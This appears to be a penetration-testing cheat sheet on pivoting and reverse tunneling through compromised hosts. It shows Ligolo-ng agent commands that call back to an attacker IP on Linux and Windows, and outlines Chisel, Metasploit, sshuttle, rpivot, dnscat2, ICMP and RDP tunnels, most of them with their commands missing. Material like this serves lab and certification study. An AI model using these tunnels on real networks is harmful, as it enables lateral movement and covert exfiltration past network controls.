githubEdit

reverse-tunneling

Ligolo-ng - Socks tunneling (best for multiple sessions)

#ligolo

sudo ip tuntap add user "$USER" mode tun ligolo && sudo ip link set ligolo up
proxy -selfcert
nohup ./agent -connect 10.10.16.97:11601 -ignore-cert  &              #linux

OR

start .\agent.exe '-connect 10.10.1.130:11601 -ignore-cert'           #windowsCMD 

OR

Start-Process ".\agent.exe" -ArgumentList "-connect 10.10.1.130:11601 -ignore-cert" -NoNewWindow                                                           #windowsPS 
ligolo-ng> session 
ligolo-ng> 1 
sudo ip route add 192.168.148.0/24 dev ligolo 
ligolo-ng> start


Chisel - Socks5 tunneling (Reverse)

It is useful when we want to access the host & multiple ports that cannot be directly accessible from local machine (when kali is not able to reach target machine). #chisel

On kali machine

Run client chisel (compromised host)

Modify proxychains.conf file

Access DC

Chisel - Socks5 tunneling

Minimize chisel sizearrow-up-right

Run chisel (compromised host)

Windows:

  • CMD

  • Powershell

Linux

Run client chisel (kali host)

Windows

  • CMD

  • Powershell

Linux

Modify proxychains.conf file

Access DC



Metasploit - Reverse pivoting (without root)

Configure proxychains.conf to route traffic generated by other tools like nmap

MSF session - Create routes with AutoRoute

MSF session - Listing active routes with autoroute

Test proxy & routing functionality



SShuttle - SSH pivoting (you can use any tool without using proxychains)

Running sshuttle (attacker machine)

Scanning third_machine with nmap



rpivot - Web server pivoting (reverse SOCKS proxy tool)

Install tool

Alternative installation of python2.7

Run server.py from attacker host

Transfer tool to pivot host (compromised host - transfer directory)

Run client.py from compromised host

Browser target webserver using proxychains

Connect to a web server using HTTP-Proxy & NTLM Auth



DNScat2 - DNS tunneling

Download dnscat2

Start dnscat2 server

Download dnscat2-powershell

Import dnscat2.ps1

Run dnscat2.ps1

Listing dnscat2 options

  • ?

  • Window -i 1



ICMP - Tunneling with socks

Download & build ptunnel-ng

Transfer ptunnel-ng binary to the compromised host

Start ptunnel-ng server (compromised host)

-r IP should be reachable form the attacker box

Connect to the ptunnel-ng (attacker host)

Connect SSH connection via ICMP tunnel

Enable dynamic port forwarding over SSH

Proxychaining through ICMP tunnel

Understand working of this tool properly, analysis the traffic generated by this tool using wireshark.



SocksOverRDP - RDP and SOCKS tunneling

Download appropriate binaries

Load SocksOverRDP.dll (Host A)

It will listen on port:1080

Now transfer the socksoverrdp-server.exe to "Host B"

On the host B

Checking connection (compromised host A)

Configure Proxifierarrow-up-right on initial foothold host

  • Add profile > Socks5 127.0.0.1 1080

With Proxifier configured and running, we can start mstsc.exe, and it will use Proxifier to pivot all our traffic via 127.0.0.1:1080, which will tunnel it over RDP to 172.16.5.19, which will then route it to 172.16.6.155 using SocksOverRDP-server.exe.

Connect RDP (initial foothold host)

  • Use windows native RDP client

Last updated